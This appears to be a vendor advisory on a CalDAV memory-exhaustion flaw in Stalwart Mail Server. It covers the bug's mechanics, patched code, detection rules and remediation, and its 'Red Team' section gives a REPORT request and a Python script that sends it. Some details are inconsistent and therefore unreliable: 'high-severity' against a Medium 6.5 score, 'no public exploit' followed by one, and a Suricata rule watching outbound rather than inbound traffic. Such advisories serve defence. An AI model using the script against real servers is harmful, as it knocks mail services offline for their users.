CVE-2025-59045

Executive Summary

CVE-2025-59045 is a high-severity Denial-of-Service (DoS) vulnerability in Stalwart Mail Server, affecting versions 0.12.0 through 0.13.2. The flaw resides in the CalDAV implementation, specifically within the ArchivedCalendarEventData.expand function. An authenticated attacker can trigger unbounded memory consumption by sending a crafted CalDAV REPORT request with the <C:expand> element, causing the server to expand recurring calendar events into memory without any size limits. A single malicious request expanding 300 events with 1000-character descriptions can consume up to 2 GB of memory, leading to server crash or unresponsiveness. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward for any authenticated user with CalDAV access.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the Stalwart mail server binary. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated CalDAV user
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – server crash or memory exhaustion

Threat Level: Medium. While the impact is high (DoS), exploitation requires authentication and CalDAV access, limiting the attack surface to internal or trusted users.

Deep Dive & Mechanics

The vulnerability exists in the ArchivedCalendarEventData.expand function, which handles CalDAV REPORT requests with the <C:expand> XML element. When a client requests recurring events in expanded form, the server iterates over all recurrence instances and stores each expanded event in memory. No size limits are enforced on the number of instances or the size of event descriptions.

Attack Flow:

1. An authenticated attacker creates a calendar event with a large recurrence rule (e.g., 300 occurrences) and a large description (e.g., 1000 characters).
2. The attacker sends a CalDAV REPORT request with <C:expand> to expand the event.
3. The server allocates memory for each expanded instance, leading to unbounded memory consumption (up to 2 GB per request).
4. Multiple concurrent requests can exhaust server memory, causing a crash or denial of service.

Root Cause: Lack of input validation and memory limits in the event expansion logic. The function does not cap the number of expanded instances or the total memory allocated.

Vulnerable vs. Patched Code

Vulnerable Code (Stalwart < 0.13.3):

// Simplified vulnerable logic
fn expand(event: &RecurringEvent) -> Vec<ExpandedEvent> {
    let mut expanded = Vec::new();
    for instance in event.recurrences() {
        expanded.push(ExpandedEvent {
            description: instance.description.clone(),
            // ... other fields
        });
    }
    expanded
}

Patched Code (Stalwart >= 0.13.3):

// Patched with memory limits
fn expand(event: &RecurringEvent, max_instances: usize, max_description_len: usize) -> Result<Vec<ExpandedEvent>, Error> {
    let mut expanded = Vec::new();
    for (i, instance) in event.recurrences().enumerate() {
        if i >= max_instances {
            return Err(Error::TooManyInstances);
        }
        if instance.description.len() > max_description_len {
            return Err(Error::DescriptionTooLong);
        }
        expanded.push(ExpandedEvent {
            description: instance.description.clone(),
            // ... other fields
        });
    }
    Ok(expanded)
}

The patch introduces configurable limits on the number of expanded instances and the maximum description length, preventing unbounded memory allocation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Authenticated CalDAV user credentials
• Network access to the Stalwart CalDAV endpoint (typically port 8443 or 443)

Exploitation Steps:

1. Create a calendar event with a large recurrence rule and description using any CalDAV client (e.g., curl).
2. Send a CalDAV REPORT request with <C:expand> to trigger expansion.

Example Request:

<?xml version="1.0" encoding="utf-8" ?>
<C:calendar-query xmlns:C="urn:ietf:params:xml:ns:caldav">
  <D:prop xmlns:D="DAV:">
    <D:getetag/>
    <C:calendar-data/>
  </D:prop>
  <C:filter>
    <C:comp-filter name="VCALENDAR">
      <C:comp-filter name="VEVENT">
        <C:expand start="20250101T000000Z" end="20251231T235959Z"/>
      </C:comp-filter>
    </C:comp-filter>
  </C:filter>
</C:calendar-query>

Automation Script (Python):

import requests
from requests.auth import HTTPBasicAuth

url = "https://staltwart-server:8443/caldav/calendars/user/events/"
auth = HTTPBasicAuth("user", "password")
headers = {"Content-Type": "application/xml; charset=utf-8", "Depth": "1"}

# Malicious REPORT request
payload = """<?xml version="1.0" encoding="utf-8" ?>
<C:calendar-query xmlns:C="urn:ietf:params:xml:ns:caldav">
  <D:prop xmlns:D="DAV:">
    <D:getetag/>
    <C:calendar-data/>
  </D:prop>
  <C:filter>
    <C:comp-filter name="VCALENDAR">
      <C:comp-filter name="VEVENT">
        <C:expand start="20250101T000000Z" end="20251231T235959Z"/>
      </C:comp-filter>
    </C:comp-filter>
  </C:filter>
</C:calendar-query>"""

response = requests.request("REPORT", url, auth=auth, headers=headers, data=payload)
print(f"Status: {response.status_code}")

Blue Team (Detection & Defense)

Detection:

• Monitor for CalDAV REPORT requests with <C:expand> element from a single source.
• Track memory usage spikes correlating with CalDAV activity.
• Alert on high number of expanded instances per request.

Defense:

• Upgrade to Stalwart 0.13.3 or later.
• Implement rate limiting on CalDAV REPORT requests.
• Restrict CalDAV access to trusted users only.
• Set container/system memory limits to prevent full host exhaustion.

Indicators of Compromise (IOCs)

• Network: CalDAV REPORT requests with <C:expand> element and large recurrence ranges.
• System: Rapid memory consumption (e.g., 2 GB in seconds) in the Stalwart process.
• Logs: Stalwart logs showing repeated expand calls with large instance counts.
• File: No specific file IOCs; attack is memory-based.

Detection Engineering

YARA Rule

rule CVE_2025_59045_CalDAV_Expand_DoS {
    meta:
        description = "Detects CalDAV REPORT requests with C:expand element indicating potential DoS exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-59045"
    strings:
        $expand = "<C:expand" nocase
        $report = "REPORT" nocase
        $calendar_query = "C:calendar-query" nocase
    condition:
        $expand and $report and $calendar_query
}

Sigma Rule

title: CalDAV REPORT Request with Expand Element
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CalDAV REPORT requests containing the C:expand element, indicative of CVE-2025-59045 exploitation attempts.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: stalwart
detection:
    selection:
        method: "REPORT"
        uri|contains: "/caldav/"
        body|contains: "<C:expand"
    condition: selection
falsepositives:
    - Legitimate CalDAV clients expanding recurring events
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-59045 - CalDAV REPORT with C:expand element";
    flow:to_server,established;
    content:"REPORT"; http_method;
    content:"/caldav/"; http_uri;
    content:"<C:expand"; http_client_body;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

1. Upgrade to Stalwart version 0.13.3 or later.
2. If upgrade is not possible, implement memory limits at the container or system level (e.g., Docker --memory flag).
3. Monitor server memory usage for unusual spikes.
4. Rate limit CalDAV REPORT requests per user/IP.
5. Restrict CalDAV access to trusted users only.

Long-term:

• Apply the principle of least privilege for CalDAV access.
• Regularly review and update server configurations.
• Implement Web Application Firewall (WAF) rules to block oversized CalDAV requests.

Patch Details: Upgrade to Stalwart 0.13.3, which introduces configurable limits on event expansion (max instances and description length).

Valters IT